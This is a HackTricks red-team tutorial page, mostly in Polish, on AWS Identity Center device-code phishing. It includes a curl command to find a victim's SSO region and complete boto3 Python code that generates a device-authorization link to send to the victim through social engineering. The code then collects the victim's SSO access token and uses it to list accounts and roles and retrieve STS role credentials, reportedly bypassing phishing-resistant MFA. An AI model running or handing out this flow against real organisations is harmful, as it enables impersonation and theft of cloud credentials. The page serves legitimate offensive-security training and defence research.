AWS - Identity Center & SSO Unauthenticated Enum

Tip

Ucz się & ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się & ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się & ćwicz Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Wspieraj HackTricks

AWS Device Code Phishing

Initially proposed in this blog post, it’s possible to send a link to a user using AWS SSO that if the user accepts the attacker will be able to get a token to impersonate the user and access all the roles the user is able to access in the Identity Center.

Aby przeprowadzić ten atak wymagane są:

  • Ofiara musi korzystać z Identity Center
  • Atakujący musi znać subdomenę używaną przez ofiarę <victimsub>.awsapps.com/start

Mając tylko powyższe informacje, atakujący będzie w stanie wysłać link do użytkownika, który po zaakceptowaniu przyzna atakującemu dostęp do konta użytkownika AWS.

Atak

  1. Znalezienie subdomeny

Pierwszym krokiem atakującego jest ustalenie subdomeny, której firma ofiary używa w swoim Identity Center. Można to zrobić za pomocą OSINT lub zgadywania + BF, ponieważ większość firm używa tutaj swojej nazwy lub jej wariacji.

Mając tę informację, można ustalić region, w którym Identity Center zostało skonfigurowane:

curl https://victim.awsapps.com/start/ -s | grep -Eo '"region":"[a-z0-9\-]+"'
"region":"us-east-1
  1. Wygeneruj link dla victim & wyślij go

Uruchom poniższy kod, aby wygenerować link logowania AWS SSO, aby victim mógł się uwierzytelnić.
Dla demonstracji uruchom ten kod w konsoli python i jej nie zamykaj, ponieważ później będziesz potrzebować niektórych obiektów, aby uzyskać token:

import boto3

REGION = 'us-east-1' # CHANGE THIS
AWS_SSO_START_URL = 'https://victim.awsapps.com/start' # CHANGE THIS

sso_oidc = boto3.client('sso-oidc', region_name=REGION)
client = sso_oidc.register_client(
clientName = 'attacker',
clientType = 'public'
)

client_id = client.get('clientId')
client_secret = client.get('clientSecret')
authz = sso_oidc.start_device_authorization(
clientId=client_id,
clientSecret=client_secret,
startUrl=AWS_SSO_START_URL
)

url = authz.get('verificationUriComplete')
deviceCode = authz.get('deviceCode')
print("Give this URL to the victim: " + url)

Wyślij wygenerowany link do victim, użyj swoich świetnych umiejętności social engineering!

  1. Poczekaj, aż victim to zaakceptuje

Jeśli victim był już zalogowany w AWS będzie musiał jedynie zaakceptować udzielenie uprawnień, jeśli nie był, będzie musiał się zalogować, a następnie zaakceptować udzielenie uprawnień.
Tak wygląda obecnie monit:

  1. Uzyskaj SSO access token

Jeśli victim zaakceptował monit, uruchom ten kod, aby wygenerować SSO token podszywając się pod użytkownika:

token_response = sso_oidc.create_token(
clientId=client_id,
clientSecret=client_secret,
grantType="urn:ietf:params:oauth:grant-type:device_code",
deviceCode=deviceCode
)
sso_token = token_response.get('accessToken')

SSO access token jest ważny przez 8h.

  1. Podszyj się pod użytkownika
sso_client = boto3.client('sso', region_name=REGION)

# List accounts where the user has access
aws_accounts_response = sso_client.list_accounts(
accessToken=sso_token,
maxResults=100
)
aws_accounts_response.get('accountList', [])

# Get roles inside an account
roles_response = sso_client.list_account_roles(
accessToken=sso_token,
accountId=<account_id>
)
roles_response.get('roleList', [])

# Get credentials over a role

sts_creds = sso_client.get_role_credentials(
accessToken=sso_token,
roleName=<role_name>,
accountId=<account_id>
)
sts_creds.get('roleCredentials')

Phishing the unphisable MFA

Warto wiedzieć, że poprzedni atak działa nawet jeśli używane jest “unphisable MFA” (webAuth). Dzieje się tak, ponieważ poprzedni workflow nigdy nie opuszcza używanej domeny OAuth. W przeciwieństwie do innych ataków phishingowych, gdzie użytkownik musi podszyć się pod domenę logowania, w tym przypadku device code workflow jest przygotowany tak, że kod jest znany urządzeniu, a użytkownik może się zalogować nawet na innym komputerze. Jeśli zostanie zaakceptowany prompt, urządzenie, tylko poprzez znajomość początkowego kodu, będzie w stanie uzyskać poświadczenia dla użytkownika.

For more info about this check this post.

Automatyczne narzędzia

Źródła

Tip

Ucz się & ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się & ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się & ćwicz Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Wspieraj HackTricks